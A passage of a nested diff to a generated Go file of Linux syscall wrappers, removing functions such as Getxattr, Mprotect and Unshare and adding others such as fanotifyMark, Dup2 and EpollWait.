-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1244,8 +24,8 @@ func Syncfs(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1265,62 +45,8 @@ func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +55,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +66,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,135 +83,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
